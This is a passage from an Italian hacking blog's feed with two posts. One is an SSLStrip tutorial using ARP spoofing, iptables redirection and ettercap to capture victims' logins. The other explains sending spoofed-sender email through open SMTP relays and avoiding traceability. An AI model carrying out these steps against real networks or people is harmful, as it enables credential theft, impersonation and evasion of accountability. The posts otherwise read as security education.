00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00</pre><p>Nella seconda scheda eseguiamo il comando &#8220;iptables -t nat -A PREROUTING -p tcp &#8211;destination-port 80 -j REDIRECT &#8211;to-ports 1000&#8243;, serve a renderizzare le richieste dalla porta 80 alla porta 1000 del nostro computer (la porta di destinazione la possiamo cambiare a piacere, in caso fosse già utilizzata da un altro servizio).</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 1000
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>Subito dopo facciamo partire &#8220;sslstrip&#8221; e si lascia in esecuzione</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sslstrip
sslstrip 0.6 by Moxie Marlinspike running...</pre><p>Nella terza tab facciamo partire ettercap in sniff mode con il seguente comando &#8220;sudo ettercap -Tqz&#8221;, aspettiamo che la nostra vittima digiti login e password su una connessione &#8220;sicura&#8221;, il risultato dovrebbe essere il seguente (ho modificato il mio MAC address)</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo ettercap -Tqz
[sudo] password for arturu:
ettercap NG-0.7.3 copyright 2001-2004 ALoR &amp; NaGA
Listening on wlan... (Wireless)
  wlan0 -&gt;	00:00:00:00:00:00      10.10.100.5     255.255.255.0
Privileges dropped to UID 65534 GID 65534...
  28 plugins
  39 protocol dissectors
  53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help</pre><p>Fatto questo appena un utente tenterà di accedere ad un servizio su un server protetto, ettercap intercetterà username e password e la visualizzerà in questa ultima tab.</p><h3>Utilizzo di SSLStrip secondo la documentazione</h3><p>Secondo gli autori di SSLStrip l&#8217;utilizzo del tool dovrebbe essere il seguente:</p><ul><li>Flip your machine into forwarding mode. (echo &#8220;1&#8243; &gt; /proc/sys/net/ipv4/ip_forward)</li><li>Setup iptables to redirect HTTP traffic to sslstrip. (iptables -t  nat -A PREROUTING -p tcp &#8211;destination-port 80 -j REDIRECT &#8211;to-port  &lt;listenPort&gt;)</li><li>Run sslstrip. (sslstrip.py -l &lt;listenPort&gt;)</li><li>Run arpspoof to convince a network they should send their traffic  to you. (arpspoof -i &lt;interface&gt; -t &lt;targetIP&gt;  &lt;gatewayIP&gt;)</li></ul><p>In questo modo non sono mai riuscito a beccare una password, forse qualcun altro sarà più fortunato.</p><p>Un articolo interessante si può leggere su: <a
href="http://pointnext.blogspot.com/2010/01/ssl-strip-con-ettercap.html" target="_blank">http://pointnext.blogspot.com/2010/01/ssl-strip-con-ettercap.html</a> ma ancora non ho avuto il tempo di provare.</p><h3>Funziona sempre?</h3><p>Dalle prove che ho fatto se la vittima lavora su una macchina Windows (ho provato soltanto con XP e Vista) l&#8217;attacco va a buon fine con qualsiasi browser. Safari su MacOsX restituisce pagina bianca, cioè non fa nessuna operazione e l&#8217;attacco non va a buon fine, ma l&#8217;utente non riceve nessuna segnalazione sul fatto che la connessione sicura è stata compromessa. Su Ubuntu utilizzando firefox o chrome si viene avvertiti che il certificato di sicurezza non è valido e l&#8217;utente può decidere di abbandonare la connessione (comunque se l&#8217;utente accetta il certificato viene restituita una pagina bianca), invece con Opera l&#8217;attacco va a buon fine.</p><h3>Soluzioni</h3><p>Per ora le soluzioni che mi sento di suggerire sono:</p><ul><li>Se è possibile, preferire il cavo alla wireless, infatti è più difficile connettersi ad una LAN con il cavo che non tramite wireless anche se è protetta;</li><li>Aggiornare browser e Sistema Operativo sperando che venga risolto il problema (caso molto probabile in quanto questo problema è noto dal 2009);</li><li>Consiglio di parte: utilizzare un sistema operativo più sicuro degli altri ad es: Ubuntu o MacOsX</li></ul><p>Saluti Arturu.it</p><p>PS Come tutti hanno capito non si trattava di un articolo che parla dello &#8220;Strip&#8221; Tease. Tu lettore, se ancora cerchi questo, leggendo ancora non troverai niente, anche perché: l&#8217;articolo è finito&#8230; <img
src='http://www.arturu.it/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /></p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2010/10/20/ssl-strip/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Fake Mail</title><link>http://www.arturu.it/blog/2009/09/16/fake-mail/</link> <comments>http://www.arturu.it/blog/2009/09/16/fake-mail/#comments</comments> <pubDate>Wed, 16 Sep 2009 21:02:34 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Hacking]]></category> <category><![CDATA[fake]]></category> <category><![CDATA[mail]]></category> <category><![CDATA[pop]]></category> <category><![CDATA[protocolli]]></category> <category><![CDATA[smtp]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=3</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a></p>Questo è il mio primo articolo in questa categoria, ho deciso di parlare di una tecnica vecchia quanto internet e che ancora è molto efficace. L&#8217;argomento di questo articolo sarà: &#8220;Fake Mail&#8221; ovvero come mandare una mail con l&#8217;indirizzo che [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a></p><p><img
class="alignleft size-thumbnail wp-image-5" title="neoshin-dark-templar-6952" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/neoshin-dark-templar-6952-150x150.png" alt="neoshin-dark-templar-6952" width="150" height="150" />Questo è il mio primo articolo in questa categoria, ho deciso di parlare di una tecnica vecchia quanto internet e che ancora è molto efficace. L&#8217;argomento di questo articolo sarà: &#8220;Fake Mail&#8221; ovvero come mandare una mail con l&#8217;indirizzo che vogliamo, cioè far in modo che chi riceve la mail (destinatario) visualizzi come mittente quello che abbiamo impostato noi&#8230;<span
id="more-3"></span></p><p
align="justify">La tecnica è banale, non serve conoscere nessun linguaggio di programmazione, non serve avere alcun software in particolare; bisogna solo capire come funziona l&#8217;invio e la ricezione della posta. Attualmente esistono due metodi per ricevere e mandare posta:</p><ol><li><div>L&#8217;interfaccia web: uno va sul sito (ad es libero.it) inserisce username e password e arriva direttamente nella casella di posta dove sono contenute le mail. In questo modo l&#8217;utente non dovrà fare nessuna impostazione sul suo computer e non si accorge di tutti i passaggi intermedi;</div></li><li><div>Tramite il client di posta che può essere Mozilla Thunderbird (penso uno dei migliori), kmail, Eudora, Outlook Espress, ecc. Il programma di posta và configurato in modo che si possa collegare sulla nostra casella di posta, praticamente gli si deve dire da dove recuperare le mail e come deve fare per poterle inviare. Per questo motivo i server di posta mettono a disposizione dei servizi (nel gergo vengono chiamati &#8220;demoni&#8221; o col nome generico server, preferisco non usare quest&#8217;ultimo termine per i servizi in quando potrebbe creare confusione) uno per poter inviare la posta e un&#8217;altro per poterla ricevere. Il demone, più usato, per poter scaricare la posta dal sito sul proprio computer si chiama &#8220;pop&#8221; (ad es. pop.libero.it), invece il demone per l&#8217;invio della posta si chiama &#8220;smtp&#8221; (ad es. smtp.libero.it). Impostati questi due parametri si può inviare e ricevere la posta tranquillamente.</div></li></ol><div>In questo articolo ci soffermeremo sul secondo metodo perchè l&#8217;intoppo stà proprio là. Il programma di posta e i demoni dialogano tramite dei comandi testuali che non sono criptati, inoltre solo il demone pop ha bisogno dell&#8217;username e password per poter funzionare; da questo si capisce che chiunque può usare il demone smtp a proprio piacimento. L&#8217;utilizzo a questo punto è banalissimo: se il demone smtp accetta qualsiasi cosa come se fosse vera noi possiamo impostare il nostro client di posta con un account inventato da noi (ad es. <script type="text/javascript">// 
 var prefix = '&#109;a' + 'i&#108;' + '&#116;o';
 var path = 'hr' + 'ef' + '=';
 var addy51796 = '&#97;dm&#105;n' + '&#64;';
 addy51796 = addy51796 + 'fb&#105;' + '&#46;' + 'g&#111;v';
 document.write( '<a ' + path + '\'' + prefix + ':' + addy51796 + '\'>' );
 document.write( addy51796 );
 document.write( '<\/a>' );
 //\n
// --&gt;
// ]]&gt;</script><a
href="mailto:admin@fbi.gov">admin@fbi.gov</a> <script type="text/javascript">// 
 document.write( '<span style="\" mce_style="\"'display: none;\'>' );
// ]]&gt;</script><span
style="display: none;">Questo indirizzo e-mail è protetto dallo spam bot. Abilita Javascript per vederlo. <script type="text/javascript">// 
 document.write( '</' );  document.write( 'span>' );
// ]]&gt;</script></span>) come server pop possiamo lasciare in bianco o mettere uno a caso e come server smtp mettiamo uno qualsiasi (una lista si può trovare <a
href="http://www.freepops.org/it/smtplist.php" target="_blank">qui</a>). Quando dobbiamo mandare la nostra &#8220;fake mail&#8221; scegliamo come mittente il nostro account finto. Bisogna precisare che funziona solo con l&#8217;invio della posta e non con la ricezione in quanto il server pop richiede username e password per poter funzionare.</div><div>Per chi ancora non avesse capito faccio un esempio elementare: siamo nel mondo reale la cassetta postale del Sign. Rossi la chiamiamo &#8220;pop&#8221;, naturalmente solo il Sign. Rossi può aprire la propria pop perchè è l&#8217;unico a possedere le chiavi; invece quando il Sign. Rossi deve inviare una lettera si reca alla buca delle lettere del servizio postale che chiameremo &#8220;smtp&#8221;, naturalmente non servono le chiavi dato che è una buca delle lettere pubblica. Il Sign. Rossi è un furbacchione e vuole fare uno scherzo ad un suo amico, come mittente della lettera scrive &#8220;Presidente della repubblica&#8221; si reca alla smtp vicina e l&#8217;imbuca.</div><div>Bisogna considerare una cosa però: ogni volta che colleghiamo il computer ad internet viene assegnato un indirizzo univoco che viene usato per poter comunicare. Questo indirizzo viene anche memorizzato dai demoni smtp sulla nostra &#8220;fake mail&#8221;, quindi è molto rischioso fare queste operazioni con la nostra connessione. Ci sono un sacco di metodi per ovviare a questi inconvenienti, dall&#8217;utilizzo di demoni smtp anonimi sparsi per il mondo, all&#8217;utilizzo di connessioni anonime, oppure dagli internet point o dalle reti wireless aperte.</div> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2009/09/16/fake-mail/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
